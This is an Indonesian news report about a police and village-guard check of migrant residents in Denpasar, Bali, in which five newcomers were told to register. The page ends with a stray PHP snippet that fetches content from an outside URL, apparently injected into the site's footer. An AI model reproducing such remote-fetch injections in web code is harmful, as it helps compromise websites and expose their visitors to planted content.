Tibduktang di Wilayah Desa Dangri Kelod: 5 Penduduk Pendatang Terjaring

Kamis, 22 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Denpasar | jejakkasus.info – Pada hari Rabu (21/08/2024) pukul 20.18 wita, Polsek Denpasar Timur (Dentim) bersinergi bersama Linmas Desa Dangin Puri (Dangri) Kelod dan staf Desa melaksanakan kegiatan Penertiban Penduduk Pendatang (Tibduktang) Non-Permanen yang mengambil lokasi di Kos kosan, seputaran Jln. Letda 1X No. 1 Kajeng, Denpasar Timur.

Baca Juga:  Pemasangan Patok Tapal Batas (Gemapatas) Di Desa Suger Lor Maesan Bondowoso

Kegiatan ini, melibatkan 10 personil gabungan dengan rincian 5 personil dari Polsek Dentim, 4 personil Linmas Desa Penatih Dangri, dan 1 staf Desa. Ipda I Nyoman Padu selaku Perwira Pengawas (Pawas) memimpin pelaksanaan kegiatan Tibduktang tersebut.

Hasilnya, 5 penduduk pendatang dari luar Bali berhasil terjaring. Selama Tibduktang berlangsung, tidak ditemukan hal-hal yang mencurigakan. Penduduk pendatang yang terjaring diarahkan untuk mengurus Surat Tanda Lapor Diri di Kantor Desa Dangri Kelod.

Baca Juga:  Hadiri Rakernis Fungsi Lantas, Kapolda Jateng Jabarkan Strategi Pengamanan Nataru

Kapolsek Dentim AKP Agus Riwayanto Diputra S.IK.,M.H., melalui Perwira Pengawas Ipda I Nyoman Padu mengatakan bahwa Kegiatan Tibduktang ini merupakan bagian dari upaya Polsek Dentim dalam menciptakan situasi kamtibmas yang kondusif di wilayahnya. “Kami akan terus bersinergi dengan semua pihak, baik Linmas, Aparatur Desa atau Lurah dan Pecalang Desa adat, untuk menjaga keamanan dan ketertiban. Kami juga mengajak seluruh masyarakat untuk turut mendukung upaya ini demi terciptanya lingkungan yang aman dan tenteram bagi semua.” Ungkapnya.

Baca Juga:  Aspers Kasdam IV/Diponegoro : "Kowad Harus Lebih Profesional"

Amin jk

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029
Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar
Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terkait

Sabtu, 21 September 2024 - 00:03 WIB

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029

Sabtu, 21 September 2024 - 00:00 WIB

Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>